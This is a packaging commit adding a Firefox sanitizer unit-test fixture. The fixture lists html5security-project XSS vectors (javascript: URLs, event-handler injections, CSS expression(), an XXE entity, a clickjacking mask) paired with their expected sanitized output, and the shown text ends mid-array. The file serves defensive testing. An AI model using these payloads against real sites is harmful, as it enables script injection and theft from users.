Adding upstream version 115.8.0esr.upstream/115.8.0esr

Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>

5 files changed, 1167 insertions, 0 deletions

diff --git a/parser/xml/test/unit/CC-BY-LICENSE b/parser/xml/test/unit/CC-BY-LICENSE
new file mode 100644
index 0000000000..d0ce194dc0
--- /dev/null
+++ b/parser/xml/test/unit/CC-BY-LICENSE
@@ -0,0 +1,59 @@
+Creative Commons Attribution 3.0 Unported License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
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+1. Definitions
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+    "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
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diff --git a/parser/xml/test/unit/results.js b/parser/xml/test/unit/results.js
new file mode 100644
index 0000000000..d5b638275e
--- /dev/null
+++ b/parser/xml/test/unit/results.js
@@ -0,0 +1,924 @@
+// vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
+
+var vectors = [
+  {
+    data: '<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi',
+    sanitized:
+      "<html><head></head><body>&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi</body></html>",
+  },
+  {
+    data: '<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>',
+    sanitized:
+      "<html><head></head><body>&amp;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;</body></html>",
+  },
+  {
+    data: "0?<script>Worker(\"#\").onmessage=message=>eval(message.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))",
+    sanitized:
+      "<html><head></head><body>0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))</body></html>",
+  },
+  {
+    data: "<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<input onfocus=write(1) autofocus>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<input onblur=write(1) autofocus><input autofocus>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>",
+    sanitized: "<html><head></head><body><a>X</a></body></html>",
+  },
+  {
+    data: "<video poster=javascript:alert(1)//></video>",
+    sanitized:
+      '<html><head></head><body><video controls="controls"></video></body></html>',
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>",
+    sanitized:
+      "<html><head></head><body><br><br><br><br><br><br>...<br><br><br><br></body></html>",
+  },
+  {
+    data: '<x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>',
+    sanitized: "<html><head></head><body>01</body></html>",
+  },
+  {
+    data: "<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<script>({0:#0=alert/#0#/#0#(0)})</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >",
+    sanitized: "<html><head></head><body>X</body></html>",
+  },
+  {
+    data: '<?xml-stylesheet href="javascript:alert(1)"?><root/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<script xmlns="http://www.w3.org/1999/xhtml">&#x61;l&#x65;rt&#40;1)</script>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<meta charset="x-mac-farsi">�script �alert(1)//�/script �',
+    sanitized:
+      "<html><head></head><body>�script �alert(1)//�/script �</body></html>",
+  },
+  {
+    data: "<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<input onblur=focus() autofocus><input>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>",
+    sanitized: "<html><head></head><body>1</body></html>",
+  },
+  {
+    data: '<script src="#">{alert(1)}</script>;1',
+    sanitized: "<html><head></head><body>;1</body></html>",
+  },
+  {
+    data: "+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);",
+    sanitized:
+      "<html><head></head><body>+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);</body></html>",
+  },
+  {
+    data: "<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>",
+    sanitized: "<html><head></head><body>1</body></html>",
+  },
+  {
+    data: "<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<style>@import "data:,*%7bx:expression(write(1))%7D";</style>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<frameset onload=alert(1)>",
+    sanitized: "<html><head></head></html>",
+  },
+  {
+    data: '<table background="javascript:alert(1)"></table>',
+    sanitized: "<html><head></head><body><table></table></body></html>",
+  },
+  {
+    data: '<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>',
+    sanitized:
+      "<html><head></head><body><a></a><a>XXX</a><a>XXX</a></body></html>",
+  },
+  {
+    data: "1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>",
+    sanitized: "<html><head></head><body>1</body></html>",
+  },
+  {
+    data: "1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>",
+    sanitized: '<html><head></head><body>1<a href="#"></a></body></html>',
+  },
+  {
+    data: '<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a>',
+    sanitized: "<html><head></head><body><a>XXX</a></body></html>",
+  },
+  {
+    data: '<!--<img src="--><img src=x onerror=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<comment><img src="</comment><img src=x onerror=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<!-- up to Opera 11.52, FF 3.6.28 -->\r\n<![><img src="]><img src=x onerror=alert(1)//">\r\n\r\n<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  -->\r\n<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>',
+    sanitized:
+      '<html><head></head><body><img>\n\n\n&gt;&lt;image xlink:href="<img></body></html>',
+  },
+  {
+    data: '<style><img src="</style><img src=x onerror=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<li style=list-style:url() onerror=alert(1)></li>\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>",
+    sanitized: "<html><head></head><body><li></li>\n<div></div></body></html>",
+  },
+  {
+    data: '<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>',
+    sanitized: "<html><head></head><body><a>XXX</a></body></html>",
+  },
+  {
+    data: '<?xml version="1.0" standalone="no"?>\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<style type="text/css">\r\n@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}\r\n</style>\r\n</head>\r\n<body>Hello</body>\r\n</html>',
+    sanitized: "<html><head>\n\n</head>\n<body>Hello\n</body></html>",
+  },
+  {
+    data: "<style>*[{}@import'test.css?]{color: green;}</style>X",
+    sanitized: "<html><head></head><body>X</body></html>",
+  },
+  {
+    data: "<div style=\"font-family:'foo[a];color:red;';\">XXX</div>",
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: '<div style="font-family:foo}color=red;">XXX</div>',
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x style="behavior:url(test.sct)">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<xml id="xss" src="test.htc"></xml>\r\n<label dataformatas="html" datasrc="#xss" datafld="payload"></label>',
+    sanitized: "<html><head></head><body>\n<label></label></body></html>",
+  },
+  {
+    data: "<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<video><source onerror="alert(1)">',
+    sanitized:
+      '<html><head></head><body><video controls="controls"><source></video></body></html>',
+  },
+  {
+    data: '<video onerror="alert(1)"><source></source></video>',
+    sanitized:
+      '<html><head></head><body><video controls="controls"><source></video></body></html>',
+  },
+  {
+    data: "<b <script>alert(1)//</script>0</script></b>",
+    sanitized: "<html><head></head><body><b>alert(1)//0</b></body></html>",
+  },
+  {
+    data: "<b><script<b></b><alert(1)</script </b></b>",
+    sanitized: "<html><head></head><body><b></b></body></html>",
+  },
+  {
+    data: '<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>',
+    sanitized:
+      '<html><head></head><body><div id="div1"></div> <div id="div2"></div></body></html>',
+  },
+  {
+    data: '<div style="[a]color[b]:[c]red">XXX</div>',
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: '<div  style="\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;">XXX</div>',
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: "<!-- IE 6-8 -->\r\n<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\r\n<!-- IE 6-9 -->\r\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\r\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>",
+    sanitized: "<html><head></head><body>\n\n\n\n</body></html>",
+  },
+  {
+    data: '<embed src="javascript:alert(1)"></embed> // O10.10�, OM10.0�, GC6�, FF\r\n<img src="javascript:alert(2)">\r\n<image src="javascript:alert(2)"> // IE6, O10.10�, OM10.0�\r\n<script src="javascript:alert(3)"></script> // IE6, O11.01�, OM10.1�',
+    sanitized:
+      "<html><head></head><body> // O10.10�, OM10.0�, GC6�, FF\n<img>\n<img> // IE6, O10.10�, OM10.0�\n // IE6, O11.01�, OM10.1�</body></html>",
+  },
+  {
+    data: '<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>',
+    sanitized:
+      "<!DOCTYPE x[<!entity>\n<html><head></head><body>]&gt;&amp;x;</body></html>",
+  },
+  {
+    data: '<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<!DOCTYPE x [\r\n\t<!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"\r\n onerror CDATA "alert(1)"\r\n onload CDATA "alert(2)">\r\n]><img />',
+    sanitized:
+      "<!DOCTYPE x>\n<html><head></head><body>]&gt;<img></body></html>",
+  },
+  {
+    data: '<doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">\r\n\t<html:style /><x xlink:href="javascript:alert(1)" xlink:type="simple">XXX</x>\r\n</doc>',
+    sanitized: "<html><head></head><body>\n\tXXX\n</body></html>",
+  },
+  {
+    data: '<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(1)"/></onevent><timer value="1"/></card>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>",
+    sanitized: "<html><head></head><body><div>x</div></body></html>",
+  },
+  {
+    data: "<// style=x:expression\\28write(1)\\29>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<form><button formaction="javascript:alert(1)">X</button>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<event-source src="event.php" onload="alert(1)">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<a href="javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>',
+    sanitized: "<html><head></head><body><a></a></body></html>",
+  },
+  {
+    data: "<script<{alert(1)}/></script </>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>',
+    sanitized:
+      '<!DOCTYPE x SYSTEM "test.dtd">\n<html><head></head><body>&amp;x;</body></html>',
+  },
+  {
+    data: '<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<object allowscriptaccess="always" data="test.swf"></object>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<style>*{x:EXPRESSION(write(1))}</style>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(1)" xlink:type="simple"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x:template xmlns:x="http://www.wapforum.org/2001/wml"  x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)"><x:timer value="1"/></x:template>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<body oninput=alert(1)><input autofocus>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" fill="white"/></a>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n\n<animation xlink:href="javascript:alert(1)"/>\n<animation xlink:href="data:text/xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' onload=\'alert(1)\'%3E%3C/svg%3E"/>\n\n<image xlink:href="data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' onload=\'alert(1)\'%3E%3C/svg%3E"/>\n\n<foreignObject xlink:href="javascript:alert(1)"/>\n<foreignObject xlink:href="data:text/xml,%3Cscript xmlns=\'http://www.w3.org/1999/xhtml\'%3Ealert(1)%3C/script%3E"/>\n\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n\n\n\n\n\n\n\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<set attributeName="onmouseover" to="alert(1)"/>\n<animate attributeName="onunload" to="alert(1)"/>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n</body></html>",
+  },
+  {
+    data: '<!-- Up to Opera 10.63 -->\r\n<div style=content:url(test2.svg)></div>\r\n\r\n<!-- Up to Opera 11.64 - see link below -->\r\n\r\n<!-- Up to Opera 12.x -->\r\n<div style="background:url(test5.svg)">PRESS ENTER</div>',
+    sanitized:
+      "<html><head></head><body><div></div>\n\n\n\n\n<div>PRESS ENTER</div></body></html>",
+  },
+  {
+    data: '[A]\n<? foo="><script>alert(1)</script>">\n<! foo="><script>alert(1)</script>">\n</ foo="><script>alert(1)</script>">\n[B]\n<? foo="><x foo=\'?><script>alert(1)</script>\'>">\n[C]\n<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">\n[D]\n<% foo><x foo="%><script>alert(1)</script>">',
+    sanitized:
+      '<html><head></head><body>[A]\n"&gt;\n"&gt;\n"&gt;\n[B]\n"&gt;\n[C]\n\n[D]\n&lt;% foo&gt;</body></html>',
+  },
+  {
+    data: '<div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<div style="list-style:url(http://foo.f)\\20url(javascript:alert(1));">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler>\n</svg>',
+    sanitized: "<html><head></head><body>\nalert(1)\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n<feImage>\n<set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>\n</feImage>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n\n</body></html>",
+  },
+  {
+    data: "<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>",
+    sanitized: "<html><head></head><body>\n</body></html>",
+  },
+  {
+    data: "<!-- IE 5-9 -->\r\n<div id=d><x xmlns=\"><iframe onload=alert(1)\"></div>\n<script>d.innerHTML+='';</script>\r\n\r\n<!-- IE 10 in IE5-9 Standards mode -->\r\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>",
+    sanitized:
+      '<html><head></head><body><div id="d"></div>\n\n\n\n<div id="d"></div>\n</body></html>',
+  },
+  {
+    data: '<div id=d><div style="font-family:\'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B\'">X</div></div>\n<script>with(document.getElementById("d"))innerHTML=innerHTML</script>',
+    sanitized:
+      '<html><head></head><body><div id="d"><div>X</div></div>\n</body></html>',
+  },
+  {
+    data: "XXX<style>\r\n\r\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\r\n\r\n<!--\r\n--><!--*{color:red}   /* all UA */\r\n\r\n*{background:url(xx:x //**/\\red/*)} /* IE 6-7 Standards mode */\r\n\r\n</style>",
+    sanitized: "<html><head></head><body>XXX</body></html>",
+  },
+  {
+    data: '<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<a href="[a]java[b]script[c]:alert(1)">XXX</a>',
+    sanitized: "<html><head></head><body><a>XXX</a></body></html>",
+  },
+  {
+    data: '<img src="x` `<script>alert(1)</script>"` `>',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<script>history.pushState(0,0,'/i/am/somewhere_else');</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" id="foo">\r\n<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/>\r\n</svg>',
+    sanitized: "<html><head></head><body>\n\n</body></html>",
+  },
+  {
+    data: '<iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<img src onerror /" \'"= alt=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<title onpropertychange=alert(1)></title><title title=></title>",
+    sanitized:
+      '<html><head><title></title><title title=""></title></head><body></body></html>',
+  },
+  {
+    data: '<!-- IE 5-8 standards mode -->\r\n<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(1)></a>">\r\n\r\n<!-- IE 5-9 standards mode -->\r\n<!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//">\r\n<?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">',
+    sanitized:
+      '<html><head></head><body><a href="http://foo.bar/#x=`y"></a><img alt="`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;/a&gt;">\n\n\n<img alt="`&gt;&lt;img src=xx:x onerror=alert(2)//">\n<img alt="`&gt;&lt;img src=xx:x onerror=alert(3)//"></body></html>',
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<a id="x"><rect fill="white" width="1000" height="1000"/></a>\n<rect  fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\r\n<path d="M0,0" style="marker-start:url(test4.svg#a)"/>\r\n</svg>',
+    sanitized: "<html><head></head><body>\n\n</body></html>",
+  },
+  {
+    data: '<div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<div id="x">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>',
+    sanitized: '<html><head></head><body><div id="x">XXX</div>\n</body></html>',
+  },
+  {
+    data: "<x style=\"background:url('x[a];color:red;/*')\">XXX</x>",
+    sanitized: "<html><head></head><body>XXX</body></html>",
+  },
+  {
+    data: "<!--[if]><script>alert(1)</script -->\r\n<!--[if<img src=x onerror=alert(2)//]> -->",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<div id="x">x</div>\n<xml:namespace prefix="t">\n<import namespace="t" implementation="#default#time2">\n<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">',
+    sanitized:
+      '<html><head></head><body><div id="x">x</div>\n\n\n</body></html>',
+  },
+  {
+    data: '<a href="http://attacker.org">\n\t<iframe src="http://example.org/"></iframe>\n</a>',
+    sanitized:
+      '<html><head></head><body><a href="http://attacker.org">\n\t\n</a></body></html>',
+  },
+  {
+    data: '<div draggable="true" ondragstart="event.dataTransfer.setData(\'text/plain\',\'malicious code\');">\n\t<h1>Drop me</h1>\n</div>\n\n<iframe src="http://www.example.org/dropHere.html"></iframe>',
+    sanitized:
+      '<html><head></head><body><div draggable="true">\n\t<h1>Drop me</h1>\n</div>\n\n</body></html>',
+  },
+  {
+    data: '<iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe>\n\n<textarea type="text" cols="50" rows="10"></textarea>',
+    sanitized:
+      '<html><head></head><body>\n\n<textarea type="text" cols="50" rows="10"></textarea></body></html>',
+  },
+  {
+    data: "<script>\nfunction makePopups(){\n\tfor (i=1;i<6;i++) {\n\t\twindow.open('popup.html','spam'+i,'width=50,height=50');\n\t}\n}\n</script>\n\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>",
+    sanitized:
+      '<html><head>\n\n</head><body>\n<a href="#">Spam</a></body></html>',
+  },
+  {
+    data: '<html xmlns="http://www.w3.org/1999/xhtml"\nxmlns:svg="http://www.w3.org/2000/svg">\n<body style="background:gray">\n<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/>\n<svg:svg>\n<svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox">\n\t<svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/>\n\t<svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>',
+    sanitized:
+      '<html><head></head><body>\n\n&lt;svg:svg&gt;\n&lt;svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"&gt;\n\t&lt;svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/&gt;\n\t&lt;svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;</body></html>',
+  },
+  {
+    data: '<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
